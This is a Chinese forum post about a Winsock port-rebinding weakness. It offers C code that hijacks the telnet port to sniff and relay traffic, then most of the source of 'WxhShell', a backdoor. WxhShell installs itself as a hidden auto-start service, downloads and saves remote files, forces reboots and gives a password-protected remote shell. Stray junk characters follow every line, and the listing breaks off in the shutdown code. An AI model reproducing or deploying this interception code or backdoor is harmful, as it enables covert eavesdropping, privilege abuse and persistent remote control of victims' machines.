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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: M(#m0x B  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); D=:04V}2+  
K{n{KB&_&  
  saddr.sin_family = AF_INET; G?f\>QSZ  
1/p*tZP8i  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); {G <kA(Lm  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); &//wSlL3  
E_KCNn-f  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 UAR5^  
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  这意味着什么?意味着可以进行如下的攻击: LIg{J%  
+ OV')oE  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 R52I= a5,*  
zF5uN:-s  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Ii7QJ:^  
["\;kJ.  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 aP'"G^F   
0]D0{6x8  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8|E'>+ D_-  
JS}{%(B  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 XLMb=T~S  
s1|/S\   
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 q+B&orp  
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  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Sq:0w  
wts=[U`(  
  #include + [Hh,I7  
  #include Y(.OF Q  
  #include (98Nzgxgx}  
  #include    &uC@|dbC5  
  DWORD WINAPI ClientThread(LPVOID lpParam);   q80S[au  
  int main() NEa>\K<\  
  { gm9mg*aM  
  WORD wVersionRequested; i-yy/y-N  
  DWORD ret; OFje+S  
  WSADATA wsaData; fwzb!"!.@  
  BOOL val; KR7@[  
  SOCKADDR_IN saddr; ?f/n0U4w  
  SOCKADDR_IN scaddr; :$MG*/Q  
  int err; ktDC/8  
  SOCKET s; _G1gtu]  
  SOCKET sc; %LYnxo7#C  
  int caddsize; u4Em%:Xj  
  HANDLE mt; ePIiF_X  
  DWORD tid;   wgd/(8d  
  wVersionRequested = MAKEWORD( 2, 2 ); xeGb?DPu  
  err = WSAStartup( wVersionRequested, &wsaData ); Ecs,$\  
  if ( err != 0 ) { %kgkXc~6|x  
  printf("error!WSAStartup failed!\n"); #nh|=X  
  return -1; LkQX?2>]  
  } }B~If}7  
  saddr.sin_family = AF_INET; KD^N)&k^Kp  
   k%^lF?_0I  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 tDAhyy73  
"fq{Y~F%`  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); =_0UD{"_0  
  saddr.sin_port = htons(23); )Wb0u0)_  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5E notp[  
  { | [ >UH  
  printf("error!socket failed!\n"); 7=(Hy\Q5xH  
  return -1; U4G`ZK v(!  
  } qY[xpm  
  val = TRUE; LY-2sa#B$-  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 GRY2?'`  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) $ /nY5[  
  { |^@dFOz  
  printf("error!setsockopt failed!\n"); ul*Qt}  
  return -1; )Pv9_XKJ  
  } 2h%z ("3/  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; @O[5M2|r  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 N]RZbzK_5G  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =Fdg/X1  
]5%/3P,/  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) }- Wa`t7U  
  { "*})3['n  
  ret=GetLastError();  rb{P :MX  
  printf("error!bind failed!\n"); &5: tn=E  
  return -1; r;m)nRu  
  } f|sFlUu&  
  listen(s,2); <I"S#M7-s  
  while(1) b:w?PC~O  
  { Ag@;  
  caddsize = sizeof(scaddr); ;`6^6p\p  
  //接受连接请求 |2KAo!PI  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2YDM9`5xs\  
  if(sc!=INVALID_SOCKET) ~RWktv  
  { MMj9{ou  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ,*7d  
  if(mt==NULL) f47M#UC  
  { 3N_"rNKD  
  printf("Thread Creat Failed!\n"); Bp@v,)8*  
  break; a+Ac[>  
  } : >>@rF ,  
  } <^$<#K d  
  CloseHandle(mt); NB<A>baL*  
  } 2+X\}s1vN  
  closesocket(s); 'e6WDC1Am(  
  WSACleanup(); GQ |Mr{.;  
  return 0; t#2(j1  
  }   P 3'O/!  
  DWORD WINAPI ClientThread(LPVOID lpParam) {GJ@psG*  
  { k?'B*L_Mzv  
  SOCKET ss = (SOCKET)lpParam; ?Ae ve n  
  SOCKET sc; 4rrSb*  
  unsigned char buf[4096]; [}&Sxgv  
  SOCKADDR_IN saddr; >KJ+-QuO&  
  long num; %plo=RF  
  DWORD val; >;[*!<pfK5  
  DWORD ret; Phke`3tth  
  //如果是隐藏端口应用的话,可以在此处加一些判断 @9"J|}  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   h*v8#\b$J_  
  saddr.sin_family = AF_INET; H *)NLp  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ]9 @F~)  
  saddr.sin_port = htons(23);  z^<"x |:  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =W'Ae,&  
  { r-<F5<H+K@  
  printf("error!socket failed!\n"); IC7M$  
  return -1; `*shF9.\C  
  } ,I,\ml  
  val = 100; mWvl 38  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Q 7?#=N?  
  { Bs?^2T~%{  
  ret = GetLastError(); {E8~Z8tT  
  return -1; VX1-JxY  
  } \P6$mh\T  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L+i(TM=  
  { ?F3h)(}  
  ret = GetLastError(); @/31IOIV]`  
  return -1; OE-gC2&Bm  
  } ~Rr~1I&mR,  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) J Px~VnE%%  
  { yYfs y?3  
  printf("error!socket connect failed!\n"); hyFyP\u]  
  closesocket(sc); z5 YWt*nm  
  closesocket(ss); -jiG7OL  
  return -1; OtNd,U.dE  
  } 1 9CK+;b  
  while(1) H/37)&$E(  
  { J_4!2v!6e  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 FIsyiSY<j  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 kbe-1 <72  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 {Ja!~N;3  
  num = recv(ss,buf,4096,0); 1|jt"Hz  
  if(num>0) ?pd8w#O  
  send(sc,buf,num,0); :\o {_  
  else if(num==0) VFys.=  
  break; H7DJ~z~J  
  num = recv(sc,buf,4096,0); mV pMh#zw  
  if(num>0) Kuu *&u  
  send(ss,buf,num,0); #n8IZ3+  
  else if(num==0) &*aIEa^  
  break; &eX!#nQ_.  
  } Zo~  
  closesocket(ss); @P?~KW6<|  
  closesocket(sc); io8'g3<  
  return 0 ; lp^<3o*1  
  } Ev}C<zk*  
TJR:vr  
fNW"+ <W  
========================================================== (O(}p~s  
jr:7?8cH0L  
下边附上一个代码,,WXhSHELL _y} T/I9  
bl&nhI)w  
========================================================== tu66'z  
*(T:,PY  
#include "stdafx.h" /$p6'1P8  
dx@-/^.  
#include <stdio.h> m()RU"WY  
#include <string.h> 2HsLc*9{4  
#include <windows.h> ,tu.2VQc@  
#include <winsock2.h> |$ lM#Ua  
#include <winsvc.h> @X;!92i  
#include <urlmon.h> /k,-P  
kZGRxp9  
#pragma comment (lib, "Ws2_32.lib") Tq[kl'_  
#pragma comment (lib, "urlmon.lib") 0i\M,TNf*  
fy@<&U5rg  
#define MAX_USER   100 // 最大客户端连接数 %/zbgS`  
#define BUF_SOCK   200 // sock buffer }%{LJ}\Px  
#define KEY_BUFF   255 // 输入 buffer i\rDu^VQ  
kTu[ y;  
#define REBOOT     0   // 重启 7 *`h/  
#define SHUTDOWN   1   // 关机 GQUe!G9  
(Fhs"  
#define DEF_PORT   5000 // 监听端口 WGZ9B^A  
 jYmR  
#define REG_LEN     16   // 注册表键长度 n|RJ;d30Q  
#define SVC_LEN     80   // NT服务名长度 ORJIo  
mQ|v26R  
// 从dll定义API !u[eaLxV  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9\mLW"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &&8IU;J  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `n @*{J8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6"J? #  
b)qoh^  
// wxhshell配置信息 O @j} K4  
struct WSCFG { BMG3|N^  
  int ws_port;         // 监听端口 xg;+<iW  
  char ws_passstr[REG_LEN]; // 口令 YSic-6z0Ms  
  int ws_autoins;       // 安装标记, 1=yes 0=no lJ}_G>GJ  
  char ws_regname[REG_LEN]; // 注册表键名 DpvI[r//'*  
  char ws_svcname[REG_LEN]; // 服务名 L(|N[#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 QLvHQtzwX  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 g+Sbl  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <oT^A|JFj  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %^4CSh  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" NflD/q/ L  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \F/hMXDlJ  
x7!L{(E3  
}; %\dz m-d(C  
<66X Xh.  
// default Wxhshell configuration 7e|s wJ>4  
struct WSCFG wscfg={DEF_PORT, 0zlb0[  
    "xuhuanlingzhe", |@ s,XS  
    1, t4zkt!`B  
    "Wxhshell", p6#g;$V$  
    "Wxhshell", i1NY9br  
            "WxhShell Service", D%OQ e#!  
    "Wrsky Windows CmdShell Service", r%yvOF\>  
    "Please Input Your Password: ", ~=6xyc/c  
  1, +eK"-u~K  
  "http://www.wrsky.com/wxhshell.exe", aW)-?(6>  
  "Wxhshell.exe" mD$A4Y-'p  
    }; >~[c|ffyo/  
H8Bs<2  
// 消息定义模块 `>f6) C-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (:TjoXXiY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; DEG[Z7Ju  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )U7t  
char *msg_ws_ext="\n\rExit."; a!7A_q8M  
char *msg_ws_end="\n\rQuit."; ?(D q?-.  
char *msg_ws_boot="\n\rReboot..."; VM GS[qrG  
char *msg_ws_poff="\n\rShutdown..."; - D  
char *msg_ws_down="\n\rSave to "; !;Yg/'vD-  
cl=EA6P\X  
char *msg_ws_err="\n\rErr!"; aQ?/%\>  
char *msg_ws_ok="\n\rOK!"; \r^qL^  
}Gz~nf%  
char ExeFile[MAX_PATH]; B}Z63|/N  
int nUser = 0; MDhRR*CBh  
HANDLE handles[MAX_USER]; |:q=T ~x  
int OsIsNt; v7BA[jQr  
D[aCsaR  
SERVICE_STATUS       serviceStatus; }Z@ovsG  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9ifDcYl  
~dgDO:)  
// 函数声明 ?I_s0k I  
int Install(void); QdH\LL^8R4  
int Uninstall(void); V:In>u$QJ!  
int DownloadFile(char *sURL, SOCKET wsh); 3G,Oba[$<  
int Boot(int flag); :DrWq{4  
void HideProc(void); `w#Oih!6A|  
int GetOsVer(void); v5!d$Vctu  
int Wxhshell(SOCKET wsl); 2&:f&"  
void TalkWithClient(void *cs); h)ECf?r<  
int CmdShell(SOCKET sock); QR c{vUR&  
int StartFromService(void); w28o}$b`  
int StartWxhshell(LPSTR lpCmdLine); @=bLDTx;c)  
Q('r<v96  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `5cKA;j>b  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &S{RGXj_  
xu/cq9  
// 数据结构和表定义 1an^1!  
SERVICE_TABLE_ENTRY DispatchTable[] = T! Y@`Ox  
{ R} eN@#"D  
{wscfg.ws_svcname, NTServiceMain}, kO.%9wFbz  
{NULL, NULL} BZ94NOOdw  
}; fxgPhnaC>  
4ni<E*  
// 自我安装 #C~+JL  
int Install(void) rq8K_zp  
{ <Swt);  
  char svExeFile[MAX_PATH]; Q i,j+xBp  
  HKEY key; [w>$QR  
  strcpy(svExeFile,ExeFile); 1-%fo~!l  
a,@]8r-"  
// 如果是win9x系统,修改注册表设为自启动 YIn',]p:  
if(!OsIsNt) { X[*<NN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FOv=!'S o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *W4m3Lq  
  RegCloseKey(key); BWeA@v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [pC$+NX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3c#BKHNC  
  RegCloseKey(key); fM]+SMZy  
  return 0; @K\~O__  
    } q}`${3qQ3  
  } nW PF6V>  
} wxR,OR  
else { ;,C)!c&  
s1M Erd  
// 如果是NT以上系统,安装为系统服务 q!{y&.&\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 35Ij ..z0  
if (schSCManager!=0) 54gBJEhg  
{ $*^kY;  
  SC_HANDLE schService = CreateService ?Nup1 !D  
  ( 2KB\1&N  
  schSCManager, !*s?B L  
  wscfg.ws_svcname, 6*PYFf`  
  wscfg.ws_svcdisp, B8nf,dj?X  
  SERVICE_ALL_ACCESS, -E^vLB)O  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , bx#>BK!  
  SERVICE_AUTO_START, F|d\k Q  
  SERVICE_ERROR_NORMAL, +DW~BS3  
  svExeFile, j-4VB_N@  
  NULL, AYt%`Y.!  
  NULL, 3C?f(J}  
  NULL, xHUsFm s  
  NULL, `n#H5Oyn  
  NULL Pj#<K%Bz  
  ); Gy9$wH@8  
  if (schService!=0) ]mo-rhDsM  
  { eK6hS_E  
  CloseServiceHandle(schService); Fz3fwLawI  
  CloseServiceHandle(schSCManager); 6%'.A]"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8UW^"4  
  strcat(svExeFile,wscfg.ws_svcname); J ][T"K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { q-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W^0w  
  RegCloseKey(key); jlkmLcpf  
  return 0; G<At_YS  
    } 0C =3dnp6  
  } v/Py"hQ  
  CloseServiceHandle(schSCManager); 1{r3#MVL  
} -(~.6WnhS  
} [="e ziM{  
h hG4-HD  
return 1; zO~8?jDN4|  
} ]p _L)  
%=n!Em(  
// 自我卸载 `Bo*{}E  
int Uninstall(void) 33o9Yg|J~  
{ V^7V[(~`  
  HKEY key; bt"W(m&f  
Q;[,Q~c[u  
if(!OsIsNt) { `e(c^z#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qOe+ZAJ{%N  
  RegDeleteValue(key,wscfg.ws_regname); VeGL)  
  RegCloseKey(key); aDq5C-MzG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { udxFz2>_l$  
  RegDeleteValue(key,wscfg.ws_regname); J5di[nu  
  RegCloseKey(key); gi(H]|=a  
  return 0; NgADKrDU  
  } *?Lv3}E  
} }O/U;4Z  
} hLI`If/+K  
else { W}--p fG  
qmnZAk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !2 LCLN\  
if (schSCManager!=0) NMW#AZVd  
{ kjW+QT?T&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ZO!I.  
  if (schService!=0) Qt iDTr  
  { <A[E:*`*  
  if(DeleteService(schService)!=0) { ~"!] 3C,L  
  CloseServiceHandle(schService); AuUd e$l_  
  CloseServiceHandle(schSCManager); Y,GU%[+  
  return 0; _p# CwExuy  
  } CKtB-a  
  CloseServiceHandle(schService); &+a9+y  
  } ,oN8HpGs  
  CloseServiceHandle(schSCManager); k'gh  
} m`IC6*  
} {G|,\O1  
s8QM ewU  
return 1; |M>eEE*F<  
} 6BY-^"W5`  
!(mjyr  
// 从指定url下载文件 wAX1l*`  
int DownloadFile(char *sURL, SOCKET wsh) G %N $C  
{ &K[_J  
  HRESULT hr; |>27'#JC  
char seps[]= "/"; V_>\ 9m  
char *token; ji1viv  
char *file; 2Gz}T _e  
char myURL[MAX_PATH]; * 1T&  
char myFILE[MAX_PATH]; - |kA)M[  
TK5K_V*7  
strcpy(myURL,sURL); ~hZ"2$(0  
  token=strtok(myURL,seps); d{rQzia"mV  
  while(token!=NULL) w3#Wh|LQ-  
  { kUq=5Y `D  
    file=token; W!%]_I!&K  
  token=strtok(NULL,seps); ` BDLW%aL  
  } Q Btnx[  
l=]cy-H  
GetCurrentDirectory(MAX_PATH,myFILE); aY3^C q(r  
strcat(myFILE, "\\"); 1)9sf0LyU  
strcat(myFILE, file); [r3!\HI7x  
  send(wsh,myFILE,strlen(myFILE),0); +)kb(  
send(wsh,"...",3,0); UUSq$~Ct  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @'YS1N<  
  if(hr==S_OK) @L>q (Kg  
return 0; &/mA7Vf>eR  
else 4Yxo~ m(  
return 1; ML:Q5 ^`  
s<*XN NE7  
} cYFiJJLG]  
jH19k}D  
// 系统电源模块 Acnl^x7Y1  
int Boot(int flag) f _[<L  
{ q:l>O5  
  HANDLE hToken; L/wD7/ODr  
  TOKEN_PRIVILEGES tkp; e@c0WlWa  
kV?y0J.  
  if(OsIsNt) { 9w"h  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); w<zIAQN  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ks=>K(V6  
    tkp.PrivilegeCount = 1; g$( V^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; qi;f^9M%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); OH;b"]  
if(flag==REBOOT) { nNrPHNfqD  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #rxVd 7f  
  return 0; W"):-Wq  
} !O-T0O   
else { y(Y!?X I  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {88)~  
  return 0; eyefWn&  
} NZ ;{t\  
  } '#s05hr  
  else { GMMp|WV|  
if(flag==REBOOT) { + hn+K1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @b"t]#V(E  
  return 0; Em?d*z  
} JXCCTUO  
else { ~3WM5 fv  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8dV=[+  
  return 0; /3;4#:Kkw  
} 7.C;NT  
} *4_jA](  
!xP8# |1  
return 1; 5Ycco,x  
} iOwx0GD.n  
+SsK21f"r  
// win9x进程隐藏模块 |o,8V p  
void HideProc(void) +#GQ,  
{ =g/{%;  
t>1Z\lE\"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); XD|E=s  
  if ( hKernel != NULL ) x;-. ZVF  
  { ?g?L3vRK  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )\sc83L  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); i7ISX>%  
    FreeLibrary(hKernel); K3m]%m2\  
  } vN|l\!~  
{S,l_d+(  
return; Uu!f,L;ty  
} ,stN  
wSb 1"a  
// 获取操作系统版本 3= xhoRX  
int GetOsVer(void) /V8}eZ97  
{ \zieyE  
  OSVERSIONINFO winfo; (Q%'N3gk  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~\=1'D^6CK  
  GetVersionEx(&winfo); 7:9.&W/KE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) L!=4N!j  
  return 1; _7IKzUn9g[  
  else )N=NR2xBZ  
  return 0; D<8HZ%o  
} AK\$i$@6  
+|bmT  
// 客户端句柄模块 AgV G`q  
int Wxhshell(SOCKET wsl) \]P!.}nX#  
{ &07]LF$]  
  SOCKET wsh; ^&bRX4pYo  
  struct sockaddr_in client; vr0WS3  
  DWORD myID; , #U .j  
s:p[DEj-  
  while(nUser<MAX_USER) /rq VB|M  
{ |~'IM3Jw(Y  
  int nSize=sizeof(client); "`M?R;DH  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >tO`r.5u9  
  if(wsh==INVALID_SOCKET) return 1; RY c!~Wh~Y  
}:u~K;O87  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); '|S%a MLZ)  
if(handles[nUser]==0) w=j  
  closesocket(wsh);  Np'2}6P  
else $-#Yl&?z9  
  nUser++; 58%#DX34M  
  } S:TgFt0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e*@{%S  
A-,up{g  
  return 0; ##@$|6  
} ?CC"Yij  
)Psb>'X  
// 关闭 socket %^I88,$&L  
void CloseIt(SOCKET wsh) {Zh>mHW3  
{ G 16!eDMt  
closesocket(wsh); 6&bY}i^K  
nUser--; /%0<p,T  
ExitThread(0); qHNE8\9  
} 6)vSG7Ise  
S}$r>[t  
// 客户端请求句柄 ms!ref4`+  
void TalkWithClient(void *cs) e*bH0';q  
{ ]4R[<<hd  
q4}PM[K?=\  
  SOCKET wsh=(SOCKET)cs; Qtbbb3m;  
  char pwd[SVC_LEN]; Ku\Y'ub  
  char cmd[KEY_BUFF]; 0A,]$Fzt  
char chr[1]; F)s{PCl  
int i,j; w3=%*<  
AtF3%Z v2  
  while (nUser < MAX_USER) { pGf@z:^{*-  
{e+-vl  
if(wscfg.ws_passstr) { v2H#=E4cZ#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TF 'U  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uiJS8(Cb  
  //ZeroMemory(pwd,KEY_BUFF); g.'yZvaP  
      i=0; fv`O4  
  while(i<SVC_LEN) { taFn![}/!g  
s<9RKfm  
  // 设置超时 }0u8r`  
  fd_set FdRead; 4hAl-8~Q6  
  struct timeval TimeOut; O!Oumw,$  
  FD_ZERO(&FdRead); ~er\~kp  
  FD_SET(wsh,&FdRead); :>TEDy~O%  
  TimeOut.tv_sec=8; &v"3*.org@  
  TimeOut.tv_usec=0; VH=S?_RY>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); PH> b-n  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); aX~%5 mF  
AX= 1b,s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3t<a $i  
  pwd=chr[0]; AJSx%?h:6  
  if(chr[0]==0xd || chr[0]==0xa) { qTAc[Ko  
  pwd=0; ~mO62(8m  
  break; ep=qf/vd<  
  } ~=KJzOS,S  
  i++; 0pJ ":Q/2)  
    } ZTU&, 1Y;  
7zHh@ B:]  
  // 如果是非法用户,关闭 socket #% of;mJv  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ya;9]k8,  
} 6I!7c^]t  
^bc;[x&N  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c%[#~;E  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KN?6;G{  
 ;zYqsS  
while(1) { a)S+8uU  
]~6_WE8L  
  ZeroMemory(cmd,KEY_BUFF); $Bj;D=d@V  
BCe|is0  
      // 自动支持客户端 telnet标准   &Ch#-CUE/  
  j=0; jL^](J>  
  while(j<KEY_BUFF) { x5QaM.+=J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^S)cjH`P  
  cmd[j]=chr[0]; Pt&(npjN,  
  if(chr[0]==0xa || chr[0]==0xd) { 4'6`Ll|iq  
  cmd[j]=0; o99pHW(E  
  break; ^)?d6nI  
  } qwK2WE%T  
  j++; ^{xeij/  
    } .[Ap=UYI>  
+=]!P#  
  // 下载文件 ' j6gG  
  if(strstr(cmd,"http://")) { FJ %  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _>=L>*  
  if(DownloadFile(cmd,wsh)) f{"8g"[[)(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); KAsS [  
  else fx@j?*Qb  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +8v9flh  
  } = <j"M85.  
  else { N gLU$/y;  
_=q! BW  
    switch(cmd[0]) { f8SL3+v  
  t ^[8RhD  
  // 帮助 xB@|LtdO9;  
  case '?': { xS7$%w['  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); uP<0WCN  
    break; WHAQu]{  
  } pSm $FBW h  
  // 安装 % , N<  
  case 'i': { 0<8XI>.3D  
    if(Install()) UjOB98Du  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }?&k a$rI  
    else  Y!WG)u5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2P]L9'N{Y  
    break; CH fVQ|!\  
    } `'\t$nU  
  // 卸载 `xz<>g9e  
  case 'r': { / }Rz=&  
    if(Uninstall()) }lK3-2Pk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aA'|Rg,  
    else 'S2bp4G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u7xDau(c  
    break; A].>.AI  
    } })w*m  
  // 显示 wxhshell 所在路径 7HVZZ!>~  
  case 'p': { kGL1!=>  
    char svExeFile[MAX_PATH]; l^d[EL+  
    strcpy(svExeFile,"\n\r"); +4\U)Z/\  
      strcat(svExeFile,ExeFile); \o\nr!=k  
        send(wsh,svExeFile,strlen(svExeFile),0); >XOiu#kC  
    break; U|HB=BP  
    } gr-fXZO  
  // 重启 h?-#9<A  
  case 'b': { (;%|-{7e-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nuoPg3Nl  
    if(Boot(REBOOT)) TRZRYm"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JT9N!CGZ  
    else { x Au/  
    closesocket(wsh); bW ZbG{Y.  
    ExitThread(0); W5^.-B,(K  
    } ~+<olss_  
    break; {V1Pp;A  
    } n!6Z]\8~$  
  // 关机 '|7Woxl9  
  case 'd': { |7B!^ K  
